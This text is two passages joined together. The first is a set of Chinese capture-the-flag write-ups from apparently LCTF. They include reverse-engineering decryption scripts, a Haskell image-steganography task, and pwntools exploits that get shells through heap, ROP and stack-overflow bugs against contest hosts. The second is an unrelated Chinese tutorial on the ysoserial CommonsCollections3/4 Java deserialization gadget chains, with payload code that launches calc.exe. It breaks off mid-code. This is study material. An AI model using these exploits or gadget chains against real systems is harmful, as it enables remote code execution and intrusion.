print hex(tmp)[2:].decode('hex')
out_list.append(tmp)
pcbc = tmp
return out_list
def decrypt(l):
inp_list = []
pcbc = 0x50434243
for output in l:
pcbc ^= 0x35353535
input = output ^ pcbc ^ 0x7d726577 ^ 0x11111111
inp_list.append(input)
pcbc = output
return inp_list
def hex2s(num):
num = hex(num)
num = num[2:]
if num[-1] == 'L':
num = num[:-1]
if len(num) %2:
num = '0'+num
return num.decode('hex')
map='QWERTYUIOP!@#$%^'
f='IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE'
s=''
for i in range(len(f)/2):
idx1 = map.index(f[2*i])
idx2 = map.index(f[2*i+1])
k1 = bin(idx1)[2:].rjust(4,'0')
k2 = bin(idx2)[2:].rjust(4,'0')
print k2,k1
s+=chr(int(k1+k2,2))
d=s
print d
lists=[]
for i in range(len(d)/4):
lists.append(int(d[4*i:4*(i+1)].encode('hex'),16))
l = decrypt(lists)
l[-1] ^= 0x35353535
l[0] ^= 0x35353535
flag = ''
for x in l:
flag += hex2s(x)
print flag
## MSP430
给了接线图
ida没法直接丢进去。。。
<http://www.ti.com/lit/ds/symlink/msp430g2553.pdf>
<http://www.ti.com/lit/ug/slau318g/slau318g.pdf>
资料
<http://mspgcc.sourceforge.net/manual/x223.html>
inst set
看看processor
把machine type改成0，然后下面选MSP430
loader 有点问题，看个大概吧，
serial_init后keygen，然后加密flag？
加密应该是一个rc4
keygen:
and.b #0C0h, &2Ah *(0x2a) &= 0xc0
bis.b #3Fh, &2Fh *(0x2f) |= 0x3f
mov.b &28h, R15 r15 = *(0x28)
mov.b R15, R13 r13=r15
mov.w R13, R14 r14=r13
rla.w R14 r14*=2
add.w R14, R13 r13 += r14
mov.b R13, 4(R12) *(r12+4) = r13
mov.w R15, R14 r14 = r15
rla.b R14 r14.b*=2?
mov.b R14, 5(R12) *(r12+5) = r14
mov.w R15, R14 r14 = r15
and.b #74h, R14 r14 &= 0x74
rla.b R14 r14.b*=2
mov.b R14, 6(R12) *(r12+6) = r14
add.b #50h, R15 r15 += 0x50
mov.b R15, 7(R12) *(r12+7) = r15
ret
r12是key，剩下4字节猜测是LCTF
.cinit:0000C3F8 .byte 30h ; 0
.cinit:0000C3F9 .byte 31h ; 1
.cinit:0000C3FA .byte 32h ; 2
.cinit:0000C3FB .byte 33h ; 3
.cinit:0000C3FC .byte 34h ; 4
.cinit:0000C3FD .byte 35h ; 5
.cinit:0000C3FE .byte 36h ; 6
.cinit:0000C3FF .byte 37h ; 7
.cinit:0000C400 .byte 38h ; 8
.cinit:0000C401 .byte 39h ; 9
.cinit:0000C402 .byte 61h ; a
.cinit:0000C403 .byte 62h ; b
.cinit:0000C404 .byte 63h ; c
.cinit:0000C405 .byte 64h ; d
.cinit:0000C406 .byte 65h ; e
.cinit:0000C407 .byte 66h ; f
.cinit:0000C408 .byte 4Ch ; L
.cinit:0000C409 .byte 43h ; C
.cinit:0000C40A .byte 54h ; T
.cinit:0000C40B .byte 46h ; F
.cinit:0000C40C .byte 30h ; 0
.cinit:0000C40D .byte 30h ; 0
.cinit:0000C40E .byte 30h ; 0
.cinit:0000C40F .byte 30h ; 0
d='2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex')
def KSA(key):
keylength = len(key)
S = range(256)
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def decode(key, plaintext):
def convert_key(s):
return [ord(c) for c in s]
key = convert_key(key)
keystream = RC4(key)
d=''
for c in plaintext:
d+=chr((ord(c) ^ keystream.next()))
return d
for x in range(256):
key = [0,0,0,0]
key[0] = chr((x*3)%256)
key[1] = chr((x*2)%256)
key[2] = chr(((x&0x74)*2)%256)
key[3] = chr((x+0x50)%256)
key = ''.join(key)
print decode('LCTF'+key, d)
# Misc
## 想起「恐怖的回忆」
极速入门 Haskell
`Main.hs` 为程序入口，先做一个 `ord`，然后先 `encryptoData` 再 `encodePicture`。先从加密的函数开始读：
-- Crypto.hs
-- 为方便阅读，有些地方修改成伪代码了
module Crypto (encryptoData) where
imports
initIV :: [Int]
initIV = [55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97]
initKey :: [Int]
initKey = [75,111,109,101,105,106,105,83,97,116,111,114,105]
blockLen :: Int
blockLen = 32
paddingData :: Int
paddingData = 5
-- 填充的内容为数字 5
paddingX :: Int -> a -> [a] -> [a]
paddingX n c d = d concat n * c
-- 填充
type Calc = State [Int] [Int]
xorKey :: [Int] -> Int -> Calc
xorKey key n = gets $ \iv ->
map (xor n) $ zipWith xor iv $
take (length iv) $ cycle key
-- 先 cycle key 然后取前 32 位，然后对 iv 与 key 逐位 xor
calcData :: Calc
calcData = do
y <- xorKey initKey 0x39
return $ map (xor 0xFF) y
-- xorKey 的结果再 xor 0x39 xor 0xff，即 xor 198
encryption :: [Int] -> [Int]
encryption d = evalState calcData d
-- 此函数作为 encodeBlock 的第一个参数传递，注意到 encodeBlock 里传给这个函数的参数为 iv，即 d 为 iv
-- 综合上边俩函数的分析，有 encryption = key .xor iv .xor 198
type DataBlock = Writer [Int] [Int]
initBlock :: [Int] -> DataBlock
initBlock iv = return iv
encodeBlock :: ([Int] -> [Int]) -> DataBlock -> [Int] -> DataBlock
encodeBlock f db msg = db >>= (\iv -> writer (f iv, zipWith xor msg $ f iv ))
-- encryption = cycle_key .xor IV .xor 198
-- 这里只是再 xor msg 然后写入原 list 而已
foldData :: [[Int]] -> DataBlock
foldData list = foldl (encodeBlock encryption) (initBlock initIV) list
setData :: [Int] -> [[Int]]
setData d = warpList blockLen $
paddingX (32 - len(d) % 32) paddingData d
-- pading n c d
-- 在原始数据的基础上，padding 到 32 整数倍，padding 内容为数字 5
-- 然后每 32 位分组，成为二维数组
encryptoData :: [Int] -> [Int]
encryptoData d = execWriter $ foldData $ setData d
-- 从右往左分别做填充，加密，并将加密的结果替换(写入)到原list
`encryptoData` 的加密结果是 `(cycle_key .xor IV .xor 198) xor padded_message`
现在的问题只剩下读懂 `Image.hs`，看一下加密后的结果是怎么编码进图片的了：
-- Image.hs，伪代码
module Image (encodePicture) where
imports
type Px = (Int, Int)
bitX :: Int -> Int -> Int
bitX d n = shiftR d n .&. 0x01
splitData :: [Int] -> [Px]
splitData d = func <$> d <*> [6, 4, 2, 0]
where
func x y = (bitX x $ y + 1, bitX x y)
-- [(1,1),(1,1),(1,1),(1,1) --> 二进制, max=255]
data PxMatrix = PxMatrix {
pxLen :: Int,
pxEnd :: Int,
pxData :: [[Px]]
}
matrixData :: Image PixelRGB8 -> [Px] -> PxMatrix
matrixData img pxs = let d = warpList (imageWidth img) pxs
in PxMatrix (length d - 1) (length (last d) - 1) d
-- 按图片宽度对上边的二进制数对进行再次分组
matrixAt :: PxMatrix -> Int -> Int -> Px
matrixAt pm x y
| y > pxLen pm = (0,0)
| (y == pxLen pm) && (x > pxEnd pm) = (0,0)
| otherwise = (pxData pm) !! y !! x
-- 矩阵取下标
mixImage :: Image PixelRGB8 -> PxMatrix -> Image PixelRGB8
mixImage img pm = pixelMapXY func img
where
up n px = fromIntegral (xor n $ fromIntegral px)
func x y (PixelRGB8 r g b) = let (r',g') = matrixAt pm x y
in PixelRGB8 (up r' r) (up g' g) b
-- 在 R, G 通道搞事情，B 通道不变
-- R xor 二进制数对第一个数，G xor 第二个数
encodePicture :: FilePath -> FilePath -> [Int] -> IO ()
encodePicture ifp ofp d = readImage ifp >>= \e ->
case e of
Left msg -> putStrLn msg
Right dimg -> let img = convertRGB8 dimg in
writePng ofp $ mixImage img $
matrixData img $ splitData d
于是，exp：
from PIL import Image
import numpy as np
I = np.array(Image.open('input.png').convert('RGB'))
O = np.array(Image.open('output.png').convert('RGB'))
i_o_xor = (I ^ O)[:, :, :2]#.swapaxes(0, 1)
data = ''.join(np.where(i_o_xor.reshape(-1) == 1, '1', '0'))[:8*6400]
enc_mat = [int(data[i:i+8], base=2) for i in range(0,len(data),8)]
enc_mat = [enc_mat[i:i+32] for i in range(0, len(enc_mat), 32)]
IV = np.array([55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97])
key = np.array([75,111,109,101,105,106,105,83,97,116,111,114,105,75,111,109,101,105,106,105,83,97,116,111,114,105,75,111,109,101,105,106])
xor_mat1 = IV ^ key ^ 198
xor_mat2 = np.array([55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97])
# ''.join(list(map(chr, list(np.array([xor_mat2 ^ i for n, i in enumerate(enc_mat) if n % 2 else xor_mat1 ^ i]).reshape(-1)))))
plaintext = []
for n, i in enumerate(enc_mat):
if n % 2:
xmat = xor_mat2
else:
xmat = xor_mat1
plaintext.append(xmat ^ i)
print(''.join([''.join(map(chr, i)) for i in plaintext]))
刚开始写完 exp 发现只能解出一半的明文，估计是代码哪里读漏了。
发现明文 xor 的对象交替变换，改一下代码，得到明（歌）文（词），`LCTF{GameAlwaysOver_TryAgain}`
## 你会玩OSU！么？
~~从这里看应该不是数位板~~
看到 CTL-472
的字样，搜了一下好像是[绘图板](http://detail.zol.com.cn/shouxiehuihua/index1183603.shtml)
看来不是鼠标，这个是我的g603,抓下来就是偏移很明显
exp:
data里是这样的数据：
from PIL import Image
img = Image.new("RGB",(0x380,0x300))
pixTuple = (255,0,255,15)
fp = open('data')
while True:
ch = fp.readline().strip('\n \r')
if not ch:
break
ch = ch.decode('hex')
print ch[2:4][::-1].encode('hex'),ch[4:6][::-1].encode('hex')
img.putpixel((int(ch[2:4][::-1].encode('hex'),16)/0x10,int(ch[4:6][::-1].encode('hex'),16)/0x10),pixTuple)
img.save("dump.png")
LCTF{OSU_1S_GUUUD}
# PWN
## easy heap
libc 2.27
malloc的时候，readn函数有null off by one
exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
# cn = process('./easy_heap')
cn = remote('0',10002)
bin = ELF('./easy_heap',checksec=False)
libc = ELF('./libc_2.27.so',checksec=False)
else:
cn = remote('118.25.150.134', 6666)
libc = ELF('./libc_2.27.so',checksec=False)
pass
def z(a=''):
if local:
gdb.attach('easyheap',gdbscript=a,exe='easy_heap')
if a == '':
raw_input()
def add(con,size):
cn.sendlineafter('>','1')
cn.sendlineafter('>',str(size))
cn.sendlineafter('>',con)
def dele(idx):
cn.sendlineafter('>','2')
cn.sendlineafter('>',str(idx))
def show(idx):
cn.sendlineafter('>','3')
cn.sendlineafter('>',str(idx))
for i in range(10):
add('asd',10)
dele(1) #1
for i in range(3,8):
dele(i) #2,6
dele(9)#7
dele(8) #small1
dele(2) #s2
dele(0) #s3
for i in range(7):
add('asd',10)
# now only 3 smallbin 0->2->8
add('',0) # 0
add('',0xf8) # 2 && null off by one
# now only 8 in tcache
for i in range(5):
dele(i) # tcache 2,6
dele(6) # tcache 7
dele(5) #small trigger unlink
for i in range(7):
add('asd',10)
show(8)
cn.recvuntil('> ')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x3ebc40-96
success('lbase: '+hex(lbase))
# raw_input()
freehook = lbase+libc.sym['__free_hook']
mallochook = lbase+libc.sym['__malloc_hook']
system = lbase+libc.sym['system']
one = lbase+0x10a38c
add('OOOO',10)
dele(7)
dele(8)
dele(9)
add(p64(mallochook),10)
add(p64(mallochook),10)
add(p64(one),10)
# z('b free\nb execve\nc')
dele(0) #hook
add('asd',0x10)
# z()
cn.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
## pwn4fun
看着像个三国杀游戏。。。发现注册的地方如果可以注册满10次就能覆盖fl4g字符串，登录的时候可以溢出覆盖v3就能跑get_flag函数
游戏获胜有一个4字节的fmt，但游戏并不能胜利所以没啥用，一个思路是如何多次login，按照正常流程应该只有两次机会，到最后也没有发现有啥方法，应该是不行
注意下卡片的种类只有三种，p,a,g，而且在弃牌回合里有问题，第二个循环没检查下限。。。考虑了下可以把ag往前挪覆盖fl4g
首先不停重启找到一把合适的，即一步就可以直接有1 Attack 2
Guard这种情况的，然后首先保持自己不死（1血吃桃）,尽量屯牌，敌人打你的时候不要防御就可以连续弃牌了，第一次随便弃牌，第二次输入-5
连续5次后就可以ctrl+C继续跑脚本，得到flag（当然也可以写脚本，思路差不多，先找AG，然后不要防守就行了，连续弃牌就行了）
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./sgs')
bin = ELF('./sgs')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('212.64.75.161',2333)
bin = ELF('./sgs')
#libc = ELF('')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline('')
cn.sendlineafter('sign (I)n or sign (U)p?','I')
cn.sendlineafter('input your name','admin\x00aa')
cn.interactive()
cn.sendline("I")
cn.sendlineafter('input your name','admin\x00aa')
cn.interactive()
## echos
read 超长到末尾以后会返回-1，然后就能不断往前写
先帖一下 **本地** exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./echos')
bin = ELF('./echos',checksec=False)
libc = ELF('./libc64.so',checksec=False)
else:
# cn = remote('172.81.214.122', 6666)
cn = remote('0',10003)
bin = ELF('./echos',checksec=False)
libc = ELF('./libc64.so',checksec=False)
pass
def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()
prdi=0x00000000004013c3
prsi_r15=0x00000000004013c1
gadget=0x00000000004013bd # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
readn=0x00000000004011A6
pay = '8000\x00\x00\x00\x00' #r12
pay+=p64(0)*3
pay+=p64(gadget) + p64(0x0000000000403440) #rsp
cn.sendlineafter('size',pay)
size=0x3c0
sleep(0.2)
pay = p64(0x00000000004013B6)+p64(0x0000000000401190)
pay = pay.ljust(0x440-size,'a')
pay+=p64(0)*3
pay+=p64(prdi)+p64(bin.got['read'])+p64(bin.plt['puts'])
pay+=p64(prdi)+p64(bin.got['exit'])+p64(prsi_r15)+p64(0x10)*2+p64(readn)
pay+=p64(prdi)+p64(0x4034b8)+p64(bin.plt['exit'])+'/bin/sh\x00'
pay = pay.ljust(0x1000-size,'a')[:-1]
pay+='\n'
cn.send(pay)
cn.recvuntil(':')
cn.recvuntil(':\n')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['read']
success('lbase: '+hex(lbase))
system = libc.sym['system']+lbase
cn.sendline(p64(system))
cn.interactive()
LCTF{sw_1s_coooooool!}
## just_pwn
exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
bin = ELF('./just_pwn_p',checksec=False)
cn2 = process('./just_pwn_p')
cn = process('./just_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
bin = ELF('./just_pwn_p',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
cn2 = process('./just_pwn_p')
cn = remote('118.25.148.66', 2333)
pass
def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()
# login
cn2.sendlineafter('it','1')
cn2.recvuntil(':\n')
token = cn2.recvuntil('\n')[:-1]
success(token)
cn2.close()
cn.sendlineafter('it','2')
cn.sendlineafter(':',token)
# canary
cn.sendlineafter('developer','3')
for i in range(10):
cn.sendlineafter('confirm','n')
# z('b read\nc')
cn.sendlineafter('confirm','y')
cn.sendafter(':','a'*9)
cn.recvuntil('a'*9)
canary = u64('\x00'+cn.recv(7))
success('canary: '+hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack: '+hex(stack)) # offset +0x40
cn.sendlineafter('developer','3')
cn.sendlineafter('confirm','y')
cn.sendafter(':','a'*0x40)
cn.recvuntil('a'*0x40)
lbase = u64(cn.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdout_']
success('lbase: '+hex(lbase))
####################
# z('c')
cn.sendlineafter('developer','1')
cn.sendlineafter('?',str(0x20))
#content fake head
pay = p64(0)+p64(0x51)
cn.sendlineafter(':',pay)
# overflow to ptr
stack+=0x50
success('stack: '+hex(stack))
pay = 'W'*32+p64(stack+0x10)
cn.sendlineafter(':',pay)
one = lbase+0x45216
cn.sendlineafter('confirm','n')
cn.sendlineafter('confirm','y')
cn.sendlineafter('?',str(0x48))
pay = 'a'*0x18+p64(canary)+p64(0)*3+p64(one)
cn.sendlineafter(':',pay)
cn.sendlineafter(':','asd')
cn.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./just_pwn.bak')
p = process('./just_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('118.25.148.66',2333)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
p.sendline('1')
p.recvuntil('These is your secretcode:\n')
s = p.recvline()
p.close()
cn.sendline('2')
cn.send(s)
cn.sendline('3')
for i in range(5):
cn.sendline('n')
cn.sendline('y')
cn.sendlineafter('software:','a'*8)
cn.recvuntil('aaaaaaaa\n')
canary = u64(cn.recv(7).rjust(8,'\x00'))
success('canary:' + hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack:' + hex(stack))
cn.sendline('3')
cn.sendline('y')
cn.sendline('a' * 0x7)
cn.recvuntil('a' *0x7 + '\n')
lbase = u64(cn.recv(6).ljust(8,'\x00'))-0x78BFF
success('lbase:' + hex(lbase))
cn.sendline('1')
cn.sendlineafter('How long is your message?','32')
buf = '\x00'*0x10
buf+= p64(0) + p64(0x81)[:-1]
cn.sendafter('message:',buf)
buf = p64(0x11)
buf+= p64(0) + p64(0x11)
buf+= p64(0) + p64(stack+0x70)
cn.sendafter('title of your message:',buf)
cn.sendafter('y to confirm','n')
cn.sendafter('y to confirm','y')
cn.sendlineafter('How long',str(0x78))
one = lbase + 0xf02a4
buf = p64(0) + p64(canary) + '\x00' * 0x10
buf+= 'b' * 8 + p64(one)
cn.sendlineafter('message:',buf)
print(hex(one))
cn.sendlineafter('message:','aaa')
cn.interactive()
#guest_account:0004;guestname:user
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
''' | 社区文章 |
# ysoserial CommonsCollections3/4 详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ysoserial 工具的CC3和CC4链是CC1和CC2
链的扩展链，触发过程与前两个链大致相同，主要是命令执行部分有所变化。借着这两个链的学习，巩固下前面两个链的构造和利用思路。
## 0x01 前置知识
### 0x1 反射执行构造函数
假设有一个有参构造和无参构造方法的Person类
public class Person {
private String name;
public Person(){
}
public Person(String name){
this.name = name;
}
public static void main(String[] args) {
}
}
**1\. 无参构造函数**
Class.newInstance()
Person p = new Person();
Person p = Person.class.newInstance();
利用getMethod和invoke方法调用
Class person = Person.class;
Class personClass = person.getClass();
Method method = personClass.getMethod("newInstance",new Class[]{});
Person c = (Person) method.invoke(person,
new Object[]{});
**2\. 有参构造函数**
Constructor.newInstance()
Person p = new Person();
Constructor cons = Person.class.getConstructor(String.class);
Person p = cons.newInstance("xxx");
利用getMethod和invoke方法调用
Class person = Person.class;
Class personClass = person.getClass();
Method method = personClass.getMethod("getConstructor",new Class[]{Class[].class});
Constructor c = (Constructor) method.invoke(person,new Object[]{new Class[]{String.class}});
Class cons = c.getClass();
Method method1 = cons.getMethod("newInstance", new Class[]{Object[].class});
Person p = (Person) method1.invoke(c,new Object[]{new Object[]{"xxx"}});
System.out.println(p.GetName());
### 0x2 利用反射修改变量
反射的好处是即使是私有变量，也可以通过反射获取并修改，方法如下：
Person p = new Person("xxx");
Field com = p.getClass().getDeclaredField("name");
com.setAccessible(true);
com.set(p,"tom");
System.out.println(p.GetName());
需要设这变量的访问权限，把权限改成public，调用set 方法修改其内容
## 0x02 CommonsCollections3 分析
在分析过前两个链之后，CC3就显得没那么困难了，主要引入了TrAXFilter这个类在初始化的时候调用了newTransformer方法，从而触发加载构造好的字节码，完成命令执行。一些前置知识在
<https://www.anquanke.com/post/id/230788> 文章中已经提到，打算从命令执行链和调用链构造这两个方面进行分析。
### 0x1 命令执行链分析
该链针对的版本是 `commons-collections:3.1`
，命令执行部分改造的CC2的利用方式。CC2链是利用`InvokerTransformer`
类调用的`templates`中的`newTransformer`方法。而作者构造的CC3链采用了`TrAXFilter`这个新的类，但我们也可以用之前CC2链中的命令执行方法。下面分析下这两个利用
**1\. 延续CC2命令执行**
`InvokerTransformer` 类可以调用任意对象的任意方法，这个天然的利用条件在 `commons-collections:4.4`
中被修补。所以目前还是只能在3版本运行
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", new Class[0], new Object[0])
};
在调用 `InvokerTransformer` 类执行 `newTransformer`
方法的时候不需要再将其伪装成其他的函数，因为它本身在反序列化之前是没有被调用过的，这点不像Queue会在对象添加的时候触发比较器类。
因为`templatesImpl` 实现了Serializable接口，因此可以通过对象的形式存在，最后将会被反序列化成二进制存储格式。
**2\. 利用TrAXFilter触发命令执行**
`InvokerTransformer` 类可以调用 `newTransformer`
方法，那么是否存在一个类可以直接调用这个方法呢？作者就在CC3链中展示这个类。
`TrAXFilter` 的构造方法中存在这样的代码，会调用参数中传递过来的对象的`newTransformer`
方法，如果我们把`templates`当做该类的构造参数，那么就能完成利用
* * *
这时还存在着一个问题，没有形成完整的命令执行链，怎样才能触发`TrAXFilter`的构造方法呢？这里有两种方式触发
**方法一**
因为是在`commons-collections:3.1`中的利用，所以可以继续时候用`InvokerTransformer` 类进行构造
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{Templates.class}}),
new InvokerTransformer("newInstance", new Class[] {Object[].class }, new Object[] {new Object[]{templatesImpl}),};
需要明确的是 getConstructor 的参数类型，要通过getMethod方法获取该方法对象
`Class<?>... parameterTypes` 为Class数组
getMethod 在调用的时候第二个参数可以是单个元素也可是数组元素，InvokerTransformer方法默认采用了第二种方式。
所以在构造的时候 `new Class[]{}`和`new Object[]{}`
都是必须要带的，而里面的内容才是要生产方法对象的真正参数。`Class[].class` 就是Class数组类型， `Object[].class`
是Object数组类型。
**方法二**
该方法引入了新的类，`InstantiateTransformer` 也是 同时实现`Transformer`和`Serialzable`
的类，用它的目的是`transform`函数会调用`getConstructor` 方法和执行`newInstance`函数创建实例
通过该transform方法就可实现方法一中的一大堆操作，最后可以简化为以下代码
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl }
)
};
简答描述为 `InstantiateTransformer` 在 `transform`函数调用时会通过反射执行其传递的参数class类的有参构造函数。
### 0x2 反序列化链分析
整个链的分析可以参考 <https://www.anquanke.com/post/id/230788#h2-5>
完整调用链如下
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
...
exec()
Requires:
commons-collections
*/
采用CC1中的调用关系图，修改了命令执行部分
### 0x3 Payload构造
在第二小节已经把命令执行部分的三种方式通过代码实现了。`Payload`构造部分只需要将之前的代码调用链拼接在一起就可以了。
public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl("calc.exe");
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
byte[] serializeData=serialize(handler);
unserialize(serializeData);
}
这个是主函数代码，完整代码在
<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc3.java>
## 0x03 CommonsCollections4 分析
CC4 链的命令执行采用的CC3的技术，触发部分还是沿用CC2中的结构。因此分析到这，CC4应该是前四个链中最容易理解的了。命令执行部分参照
上节的分析，简单介绍下调用链和`Payload`编写方法。
### 0x1 调用链分析
触发点是 `PriorityQueue` 里的比较器`compare`方法，之后又调用了`transformer`方法
具体调用可以参考CC2分析的那篇文章，下面是调用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
...
exec()
整个触发链没有什么难理解的，可以归结为下图调用逻辑。
### 0x2 Payload 编写方法
ysoserial 中的利用方法很有艺术感，用到了两处伪装 和 属性变换
将paramTypes和args设置为正常的字符串类型和字符串值
**1\. 伪装**
伪装比较器的第一个Transformer元素
ConstantTransformer constant = new ConstantTransformer(String.class);
...
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
在`queue`执行`add`方法后将 `ConstantTransformer`中的`iConstant`变量改为`TrAXFilter.class`
* * *
第二个伪装在
这里伪装的原因也是和简单的，在CC2 那篇文章里已经说过了，这里再唠叨两句，`queue`在使用add方法添加元素的时候会触发
比较器进行比较，如果这里运用了正常的payload，那么将会在这里的触发命令执行，程序将会在反序列化之前终止。
因此要进行一次伪装，那么为什么要添加两个元素呢，其实在之前CC2的分析中也有涉及到，因为在`queue`反序列化的时候会把每个元素读取出来，并且执行到`heapify`函数，如果此时元素数为零就不会触发该链，因此只能这么设计
采用以下方法修改queue的两个元素
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
paramTypes[0] = Templates.class;
args[0] = templates;
首先运用getDeclaredField方法获取到对象的iParamTypes和iArgs属性，之后直接给这两个属性赋值，即可完成替换。
**2\. 手动构造**
看过ysoserial封装好的代码后，根据自己的理解自己手动构造功能类似的payload，这里从参考了其他师傅的构造方式，写出了两版利用代码
public static void main(String[] args) throws Exception {
final Object templates = createTemplatesImpl("calc.exe");
// mock method name until armed
ConstantTransformer constant = new ConstantTransformer( TrAXFilter.class);
Class[] paramTypes = new Class[] { Templates.class };
Object[] argsv = new Object[] { templates };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, argsv);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2);
queue.add(1);
queue.add(1);
TransformingComparator transCom = new TransformingComparator(chain);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
byte[] serializeData=serialize(queue);
unserialize(serializeData);
}
这一版的代码很巧妙，学习了tr1ple师傅的方法，这样只需伪装一步就可以实现绕过queue的add方法的触发利用链。在添加完元素后再利用反射动态添加比较器
`comparator`，这样就避免修改元素较多的instantiate对象
* * *
ysoserial 采用的修改instantiate对象中的属性和ConstantTransformer中的属性
public static void main(String[] args) throws Exception {
final Object templates = createTemplatesImpl("calc.exe");
// mock method name until armed
ConstantTransformer constant = new ConstantTransformer(String.class);
